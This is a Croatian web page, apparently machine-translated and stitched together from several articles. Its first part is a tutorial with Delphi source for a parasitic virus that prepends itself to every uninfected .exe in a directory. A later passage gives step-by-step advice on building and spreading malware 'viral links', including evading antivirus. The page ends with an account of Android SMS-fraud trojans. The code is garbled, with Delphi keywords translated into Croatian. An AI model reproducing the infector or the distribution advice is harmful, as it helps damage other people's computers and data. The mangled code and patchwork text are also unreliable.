Pošaljite virus poštom bez preuzimanja. Hakiranje tuđim rukama. Mail virusi. Metode utjecaja zlonamjernog softvera

Klasifikacija

HLLO-prepisivanje jezika visoke razine. Takav virus svojim tijelom prepisuje program. Oni.
program se uništava, a kada korisnik pokuša pokrenuti program, virus se pokreće i “inficira” dalje.

HLLC-High Level Language Companion. Većina ovih virusa datira iz davne antike (prije 8-10 godina), kada su korisnici imali DOS i bili jako lijeni. Ovi virusi traže datoteku i, ne mijenjajući je, stvaraju svoju kopiju, ali s ekstenzijom .COM. Ako lijeni korisnik piše na naredbeni redak samo naziv datoteke, onda DOS prvo traži COM datoteku, lansirajući virus koji prvo odradi svoj posao, a zatim pokreće EXE datoteku. Postoji još jedna modifikacija
HLLC - moderniji (star 7 godina;)): Virus preimenuje datoteku, zadržavajući naziv, ali mijenjajući ekstenziju - iz EXE u, recimo, OBJ ili MAP. Virus zamjenjuje izvornu datoteku svojim tijelom. Oni. korisnik pokrene virus, koji nakon reprodukcije pokrene željeni program - svi su zadovoljni.

HLLP-parazitski jezik visoke razine. Najnapredniji. Pripišite njihovo tijelo datoteci sprijeda (virus se prvi pokrene, zatim vrati program i pokrene ga) ili sa stražnje strane
- zatim u zaglavlju programa napišemo jmp blizu tijela virusa, i dalje se prvi pokreće.

Sam program možemo ostaviti nepromijenjen, tada će izgledati ovako:

Što je MZ, mislim da ste pogodili :) Ovo su inicijali vašeg voljenog Marka Zbikowskog, koje je on skromno definirao u potpisu exe datoteke :) A ja sam ih ovdje unijela samo da razumijete
- infekcija se događa po principu copy /b virus.exe program.exe, i tu nema posebnih trikova. Ne sada. Ali ti i ja ćemo ih sjebati
- Budi zdrav:). Pa, na primjer: možete šifrirati prvih 512 ili više bajtova originalnog programa bilo kojim algoritmom koji vam je poznat - XOR/XOR, NOT/NOT, ADD/SUB, tada će izgledati ovako:

U tom slučaju struktura zaražene datoteke neće biti tako jasna.
Nisam uzalud što ovdje toliko lupetam (u klasifikaciji, u smislu)
- parazitski algoritam koristi 90% modernih virusa, neovisno o načinu distribucije. Dobro, idemo dalje:

Mrežni virus. Može biti bilo što od navedenog. Razlikuje se po tome što njegova distribucija nije
ograničena na jedno računalo, ova infekcija nekako preko Interneta ili lokalne mreže dospijeva na druga računala. Mislim da redovito dovodiš 3-4 ovakva prijatelja iz kutije za sapun.
- evo primjera mrežnog virusa. A kad jednom dođe na tuđe računalo, zarazi datoteke na proizvoljan način ili ih UOPĆE ne zarazi.

Makro virusi, skript virusi, IRC virusi. Stavljam ih u jednu grupu jer su to virusi napisani na jezicima ugrađenim u aplikacije (MSOffice:)), skripte (vaša omiljena VBS pravila ovdje) i IRC skripte. Strogo govoreći, čim se u aplikaciji pojavi dovoljno moćna (i/ili propusna) komponenta skripte, virusi se odmah počinju pisati na njoj 😉 Usput, makro virusi su vrlo jednostavni i lako se identificiraju pomoću heuristike.

Kodiranje

Stigli smo :) Ajde pokreni Delphi, ubij svakakve prozore i pobriši sve gluposti iz prozora projekta. Odnosno, obrišite sve :) Radit ćemo samo s DPR-om koji sadrži:

program EVIL_VIRUS;
KORISTI WINDOWS, SYSUTILS;
početi
kraj;

Mislim da ste već razumjeli logiku virusa iz klasifikacije - obnavljamo i pokrećemo program --> čekamo da završi s radom - -> brišemo “iskorištenu datoteku” (zaboravio sam reći - NE LIJEČIMO zaražene programa, prenosimo originalni kod u lijevu datoteku i pokrećemo PRIMJER: Zaražena datoteka NOTEPAD.EXE. Kreirajte datoteku _NOTEPAD.EXE u istom direktoriju s originalnim kodom i pokrenite je).--> potražite nezaraženu datoteku i zaraziti ga. To je sve :) Osnovni dizajn virusa izgleda točno ovako.

Sada deklarirajte sljedeće varijable i konstante za svoj moćni mozak:

VaR VirBuf, ProgBuf, MyBuf: niz znakova;
SR: TSearchRec;
Moj,pr: Datoteka;
ProgSize,rezultat: cijeli broj;
PN,st: niz;
si: Tstartupinfo;
p:Tobrada informacija;
zaraženo: boolean;
CONST VirLen: longint= 1000000;

Prvi red sadrži dinamičke nizove u koje ćemo upisati tijelo virusa odnosno programa; Bit će zapisano u SR varijablu
karakteristike pronađene datoteke koja je kandidat za infekciju (nadam se da ste upoznati s procedurama FindFirst i FindNext, jer bit će sve gore;)), My i
Pr je datoteka odakle smo krenuli i lijeva datoteka s originalnim programskim kodom (o tome sam već pisao gore). rezultat - rezultat FindFirst, mora biti jednak nuli,
ProgSize - veličina programskog koda. Ostalo je jasno iz onoga što slijedi, osim
zaraženo - to je znak da je pronađena datoteka zaražena i
VirLen je duljina koda virusa, saznat ćete tek nakon vjenčanja. Uf, htio sam reći nakon kompilacije. Oni. prevesti, promijeniti vrijednost konstante u izvoru i ponovno prevesti.
Idemo kodirati dalje :) Ovdje vidite kod odgovoran za vraćanje i pokretanje zaraženog programa:

SetLength(virbuf,VirLen);
DodijeliDatoteku(moj,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",false);
AKO Veličina datoteke (moja)> VirLen onda
početi
//Pokreni program
AssignFile(my,"c:\windows\program.exe);
Reset(my);
ProgSize:= FileSize(my)-VirLen;
BlockRead(my,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(my,progbuf,progSize);
ZatvoriDatoteku(moj);
PN:= "_"+ParamStr(0);
DodijeliDatoteku(pr,PN);
Prepiši(pr);
BlockWrite(pr,progbuf,progSize);
ZatvoriDatoteku(pr);
FillChar(Si, SizeOf(Si) , 0);
sa Si do
početi
cb:= VeličinaOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
kraj;
PN:= PN+#0;
Createprocess(nula,@PN,nil,nula,false,Create_default_error_mode,nula,nula,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Pokrenuto, program je pokrenut. Hajde da izbrišemo :)
ErAsE(pr);
Izbriši (moje);

Sve je ovdje u principu jednostavno i jasno, osim zašto sam cijelu zaraženu datoteku premjestio u Windows direktorij i što rade redovi 3 do 5 uključivo.
A to sam učinio jer sam čitao iz pokrenuta datoteka nezgodno i moguće samo korištenjem CreateFile i ReadFile WinAPI. Kasnije ću vam reći o kodiranju pomoću WinAPI-ja, a sada ću pokriti samo osnove
- u Delphiju.

Ovi redovi su konverzija stringa u pchar korištenjem tradicionalne metode, budući da se sada borimo za svaki bajt koda. Još jedna stvar: postupio sam neispravno postavljajući c:\windows stazu tako strogo. Bolje koristite proceduru GetWindowsDirectory, saznajte sigurno :) Sve ostalo je jasno bez ikakvih komentara (ako ne
prestani preskakati informatiku;)), idemo dalje:

rezultat:= FindFirst("*.exe",faAnyFile,sr);
WHILE Rezultat= 0 DO
početi
//Provjeri uši
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= "08/03/98 06:00:00" then infected:= true;
//Provjereno!
IF (infected= false) i (sr.ime<>paramstr(0)) tada
početi
DodijeliDatoteku(moje,sr.Name);
Prepiši(moj);
BlockWrite(my,virbuf,virlen);
BlockWrite(my,progbuf,sr.Size);
ZatvoriDatoteku(moj);
FileSetDate(sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00")));
kraj;
kraj;

//Ako se virus pokrene “čist”, tj. ne iz zaraženog programa, tada izlazimo
end else stop;

Što tvoje oštro oko vidi ovdje? Tako je, FindFirst procedura traži danu žrtvu (bilo koju exe datoteku iz trenutnog direktorija), prenosi njezine karakteristike u SR varijablu. Zatim ga morate provjeriti na kontaminaciju. To se radi na originalan način: kada je zaražena, datoteci se dodjeljuje def. Datum i vrijeme. I svaka datoteka s takvim karakteristikama smatra se zaraženom. Sve ostalo je opet bezobrazno jednostavno, pa glatko prelazim na zaključak :)

Zaključak

Tako smo kodirali naš prvi virus. Za sada može zaraziti samo datoteke u trenutnom direktoriju (iako sam siguran da ga možete lako nadograditi ;)) i ne zna ništa o drugim direktorijima i internetu. Ne očajavaj, brzo ćemo ga naučiti tome. Za sada se poigrajte s ovim redcima i pričekajte sljedeći članak.

Primjena

Usudit ću se opisati sve postupke korištene u članku. To će vam pomoći da ih potražite u pomoći i pripremite se za kodiranje ozbiljnih virusa
WinAPI.

AssignFile - nema ekvivalenta u WinAPI-ju - odgovara datoteci
s varijablom tipa File ili TextFile

Reset - analozi _lopen i CreateFile - otvara se
postojeću datoteku i postavlja položaj
čitanje do početka

ReWrite - _lcreate i CreateFile - stvara nova datoteka I
usta položaj čitanja na početak. Ako hranite
Prepisati postojeću datoteku, njen sadržaj
će se vratiti na nulu

BlockRead - _lread i ReadFile - čita u međuspremnik
određenu količinu podataka iz datoteke

BlockWrite - _lwrite i WriteFile - redom, zapisuje
podaci u datoteku

SeekFile - _llseek i SetFilePointer - pomiče poziciju
čitati/pisati u otvorenu datoteku

CloseFile - _lclose i CloseHandle - zatvara otvorenu
datoteka

Erase - DeleteFile - brisanje datoteke

FindFirst - FindFirstFile - traži datoteku prema kriterijima

FindNext - FindNextFile - traženje sljedeće datoteke

Ima dana kada želite nekome potajno praviti probleme ili odlučite napraviti virus koji će ukrasti podatke, bilo koje podatke. Zamislimo se kao zle hakere koji su odlučili nešto poduzeti. Istražimo ovu golemu umjetnost.

Definicija virusa

Povijest računalnih virusa seže u 1983. godinu, kada ih je prvi put upotrijebio Fred Cohen.

Metode utjecaja zlonamjernog softvera

DO računalni virusi Ima ih mnogo, ali nisu svi sposobni za "reprodukciju":

Crvi. Oni inficiraju datoteke na računalu; to mogu biti bilo koje datoteke, od .exe do boot sektora. Prenosi se putem chatova, icq-a, e-maila.
Trojanski konji, ili Trojanci. Lišeni su mogućnosti samostalnog širenja: završavaju na računalu žrtve zahvaljujući svojim autorima i trećim stranama.
Rootkit. Skup različitih softverskih uslužnih programa, kada prodre u žrtvino računalo, dobiva prava superkorisnika, govorimo o UNIX sustavima. Riječ je o višenamjenskom alatu za “prikrivanje tragova” u slučaju upada u sustav pomoću sniffera, skenera, keyloggera i trojanskih aplikacija. Može zaraziti uređaj na kojem je instaliran operativni sustav Microsoft Windows. Hvataju tablice poziva i njihovih funkcija, metode korištenja upravljačkih programa.
Iznuđivači. Takav malware sprječava korisnika da se prijavi na uređaj prisiljavajući ga na plaćanje otkupnine. Nedavni veliki ransomware događaji uključuju WannaCry, Petya, Cerber, Cryptoblocker i Locky. Svi su tražili kriptovalutu Bitcoin za povratak pristupa sustavu.

Keylogger. Prati unos prijava i lozinki na tipkovnici. Bilježi sve klikove i zatim šalje zapisnik radnji na udaljeni poslužitelj, nakon čega napadač koristi te podatke prema vlastitom nahođenju.
Njuškala. Analizira podatke iz Mrežna kartica, bilježi zapise slušanjem, povezivanjem sniffera kada je kanal u kvaru, grananjem kopije prometa snifferom, a također i analizom strane elektromagnetska radijacija, napadi na razini veze ili mreže.
Botnet ili zombi mreža. Takva se mreža sastoji od mnogo računala koja čine jednu mrežu i zaražena su zlonamjernim softverom kako bi se pristupilo hakeru ili drugom napadaču.
Iskorištava. Ova vrsta zlonamjernog softvera može biti korisna piratima jer su iskorištavanja uzrokovana pogreškama u procesu razvoja softvera. Na taj način napadač dobiva pristup programu, a zatim i sustavu korisnika, ako je to ono što je haker namjeravao. Imaju zasebnu klasifikaciju na temelju ranjivosti: zero-day, DoS, spoofing ili XXS.

Putevi distribucije

Zlonamjerni sadržaj može doći do vašeg uređaja različiti putevi:

Viralna poveznica.
Pristup poslužitelju ili lokalna mreža, putem kojeg će se zlonamjerna aplikacija distribuirati.
Izvršavanje programa zaraženog virusom.
Rad s paketnim aplikacijama Microsoft Office kada se korištenjem dokumenta makro virusa virus širi cijelim osobnim računalom korisnika.

Pogledajte privitke primljene s porukama E-mail, a završili su sa zaraženim programima i dokumentima.
Pokretanje operativnog sustava iz zaraženog sistemski disk.
Instaliranje unaprijed zaraženog operativnog sustava na računalo.

Gdje se mogu sakriti virusi?

Kada se napravi viralna veza i pokrenete program koji počinje skriveni rad osobno računalo, onda su neki virusi i drugi maliciozni programi sposobni sakriti svoje podatke u sustavu ili u izvršne datoteke, čije proširenje može biti sljedećeg tipa:

.com, .exe - skinuli ste neki program, ali pokazalo se da je virus;
.bat - skupne datoteke, koji sadrži specifične algoritme za operativni sustav;
.vbs - programske datoteke u jeziku Visual Basic za prijavu;
.scr - datoteke programa čuvara zaslona koji kradu podatke sa zaslona uređaja;
.sys - datoteke upravljačkog programa;
.dll, .lib, .obj - datoteke knjižnice;
.doc - dokument Microsoft Word;
.xls - Microsoft dokument Excel;
.mdb - Microsoft Access dokument;
.ppt - Power Point dokument;
.dot - predložak aplikacije Microsoft paketi Ured.

Znakovi

Bilo koja bolest ili infekcija javlja se u latentnoj ili otvorenoj fazi; ovo je načelo također svojstveno štetnim softver:

Uređaj je počeo kvariti; programi koji su prije dobro radili odjednom su se počeli usporavati ili rušiti.
Spor rad uređaja.
Problem s pokretanjem operativnog sustava.
Datoteke i direktoriji nestaju ili se njihov sadržaj mijenja.
Sadržaj datoteke podložan je promjenama.
Promjena vremena izmjene datoteke. Možda ćete primijetiti je li mapa u prikazu popisa ili gledate svojstvo stavke.
Povećanje ili smanjenje broja datoteka na disku, te naknadno povećanje ili smanjenje količine dostupne memorije.
RAM memorija postaje manji zbog rada usluga i programa trećih strana.

Prikažite šokantne ili druge slike na ekranu bez intervencije korisnika.
Čudni zvučni signali.

Metode zaštite

Vrijeme je da razmislite o načinima zaštite od upada:

Softverske metode. To uključuje antiviruse, vatrozide i drugi sigurnosni softver.
Hardverske metode. Zaštita od vanjskih smetnji na portovima ili datotekama uređaja, izravno prilikom pristupa hardveru.
Organizacijske metode zaštite. Radi se o dodatnim mjerama za zaposlenike i druge osobe koje mogu imati pristup sustavu.

Kako pronaći popis viralnih poveznica? Zahvaljujući Internetu, možete preuzeti usluge, na primjer, s Dr.Weba. Ili upotrijebite posebnu uslugu za prikaz svih mogućih štetnih poveznica. Tamo se nalazi popis viralnih poveznica. Ostaje samo odabrati najprikladniju opciju.

Viralna poveznica

Ne zaboravite da je korištenje virusnih programa kažnjivo!

Prijeđimo na najvažniji korak – stvaranje viralnih poveznica i smišljanje kako ih distribuirati.

Odabir operativnog sustava za napad. Najčešće je to Microsoft Windows, budući da je rašireniji od ostalih sustava, pogotovo kada su u pitanju starije verzije. Osim toga, mnogi korisnici ne ažuriraju svoje operativne sustave, ostavljajući ih ranjivima na napade.
Odabir načina distribucije. Kako stvoriti virusna veza, koji se neće širiti? Nema šanse. Da biste to učinili, možete ga zapakirati u izvršnu datoteku, makronaredbu u Microsoft Officeu ili web skriptu.
Znati slabost za napad. Savjet: ako korisnik preuzima piratski softver, obično isključuje antivirusni program ili ne obraća pozornost na njega zbog prisutnosti tableta u repacku, tako da je ovo još jedan način prodiranja.
Određujemo funkcionalnost vašeg virusa. Možete jednostavno testirati svoj antivirusni program da vidite može li otkriti vaš virus ili možete koristiti zlonamjerni softver za opsežnije svrhe kao što je brisanje datoteka, pregledavanje poruka i druge radnje.
Da biste nešto napisali, morat ćete odabrati jezik. Možete koristiti bilo koji jezik, ili čak nekoliko, ali uglavnom se koriste C i C++, za makro viruse tu je Microsoft Office. To možete shvatiti uz pomoć lekcija na internetu. Visual Basic je razvojno okruženje.
Vrijeme za stvaranje. Ovo može dugo trajati. Ne zaboravite na načine skrivanja virusa antivirusni programi, inače će vaš program brzo biti pronađen i neutraliziran. Nije činjenica da ćete nekome ozbiljno nauditi, pa dobro spavajte. Međutim, zapamtite da morate biti odgovorni za svaki zlonamjerni softver! Saznajte više o polimorfnom kodu.
Provjerite metode skrivanja koda.
Provjerite funkcionalnost virusa virtualni stroj.
Učitajte ga na mrežu i pričekajte prve "klijente".

Virusna poveznica za telefon se stvara otprilike na isti način, ali s iOS uređajima morat ćete patiti, jer tamo dobar sustav zaštita, za razliku od Androida. Međutim, u najnovije verzije Uspjeli smo popraviti mnoge rupe u sigurnosnom sustavu. Ne zaboravite da još uvijek postoje stari uređaji, a znajući "ljubav" programera trećih strana za stvaranje novih verzija, većina Android uređaja je u opasnosti.

Korisnici ne mogu uvijek prepoznati virus na svom mobilnom telefonu te shodno tome ne mogu obrisati maliciozni program niti poduzeti bilo kakvu radnju prije nego što virus dobije pristup osobnim podacima.

Na ovaj trenutak Android pametni telefoni smatraju se najranjivijima. Pojavio se novi virus putem SMS-a na Androidu.

U pametnim telefonima sa otvoreni izvor, što upravo i jest operacijski sustav Android, novi virusi šire se nevjerojatnom brzinom.

Sada su se promijenili. Prije su samo pokušavali koristiti novac u mobitelima, a danas su na nišanu bankovne kartice i sva sredstva dostupna u Internet banci. Prevaranti su prvenstveno zainteresirani za pametne telefone koji podržavaju uslugu Mobilne banke. Omogućuje vam krađu novca sa žrtvinog računa pomoću broja prevaranta. Da bi to učinili, šalju virus putem SMS-a na Android.

Kako djeluju prevaranti

Prvi takav virus aktivirao se početkom ljeta 2017. Opasnost je u tome što trojanac radi daljinski na Android pametnom telefonu.

Napadači šalju SMS na željeni broj, stoga, kako biste identificirali prisutnost ovog virusa u vašem mobilni gadget Vlasnici pametnih telefona trebali bi obratiti pozornost na povećanje broja SMS poruka po cijeni od 100 rubalja. Kao rezultat toga, iznos djeljiv sa 100 povlači se s mobilnog računa vlasnika pametnog telefona.

Kako bi zaradio značajan novac, napadač je prisiljen poslati nekoliko SMS trojanaca s broja svoje žrtve. Uostalom, nije on jedini koji radi u ovom prevarantskom lancu.

Trojanac se smjesti u gadget žrtve i šalje SMS s broja žrtve na "dragi" broj prevaranata. A upravo za te SMS poruke upućene na taj “skupi” broj žrtva se naplaćuje 100 rubalja. za svaku neovlaštenu SMS poruku.

Posrednici u ovoj shemi mogu biti telekom operater, davatelj usluga i drugi partneri koji možda ne znaju za trikove prevaranata. Kako bi pokrio sve troškove i zaradio novac, napadač mora podići najmanje 1000 rubalja sa svakog broja.

Istodobno, ne možemo isključiti mogućnost da se vlasnici pametnih telefona mogu žaliti svom operateru zbog krađe novca. A onda poduzimaju mjere odmazde kako bi spriječili prijevaru. Na primjer, mogu uvesti zahtjev za unos dodatnih potvrda prije terećenja novca i slično. U takvoj situaciji napadači su prisiljeni tražiti nove metode prijevare.

Zahvaljujući ovim čimbenicima pojavio se još jedan trojanac. Ovaj predstavnik Trojan-SMS-a također izvršava naredbe primljene s udaljenog poslužitelja.

Novi virus je fleksibilniji i savršeno se snalazi u svim uvjetima, uzimajući u obzir barijere mobilni operater, pa čak i status pretplatničkog računa i vrijeme transakcija.

Kako virus djeluje

Novi virus je u stanju mirovanja - nema neovisnosti. Čak i kada uđe u pametni telefon, ne pojavljuje se ni na koji način. Da bi radio, potrebna je daljinska naredba vlasnika telefona.

Za to se koristi takozvani POST zahtjev. Namijenjen je zahtjevu u kojem web poslužitelj prihvaća podatke sadržane u tijelu poruke na pohranu. Često se koristi, na primjer, za preuzimanje datoteke.

Korištenje POST zahtjeva omogućuje vam komunikaciju sa udaljeni poslužitelj i primiti odgovarajuću naredbu, nakon čega trojanac počinje slati skupe SMS poruke s brojeva svojih žrtava na broj prevaranata.

Kako radi novi trojanac? Na primjer, program automatski šalje SMS poruke s jednom riječi “BALANCE” na broj koji podržava Mobilno bankarstvo.

Slanjem SMS poruke od kratki broj, prevaranti tako mogu provjeriti je li broj žrtve povezan s bankovnim računom i kakvo je stanje na računu.

Primjeri iz života

Na primjer, Sberbank ima broj s kojeg se šalju poruke - 900. Kada poruka "BALANCE" (ili, možda, na ruskom "balance") stigne od pošiljatelja 900, vlasnik telefona, vjerujući Sberbanci i uvjeren da ova poruka je od ove banke, otvara poruku i odgovara na nju, želeći znati što se dogodilo sa stanjem. Na taj način prevaranti dobivaju odgovor na svoj SMS, što za njih znači da postoji veza vezana za telefon. bankovna kartica. Štoviše, postaje im jasno da se ovom karticom može upravljati pomoću SMS naredbi, što je uključeno u uslugu Mobile Bank. A onda, kako kažu, "stvar tehnike".

Jedan moj prijatelj nedavno je dobio poruku s kratkog broja 4-74-1, koji je registriran u mobilnoj banci Sberbank s porukom "Usluga je nedostupna, pokušajte ponovno kasnije." Iz očitih razloga, nije poslala odgovor, već znajući za moguće prijetnje. Navodno se radi o istim prevarantima, maskiranim u mobilnu banku, koji su na taj način pokušali izračunati njezinu reakciju i utvrditi je li na njezinom pametnom telefonu instalirana mobilna banka.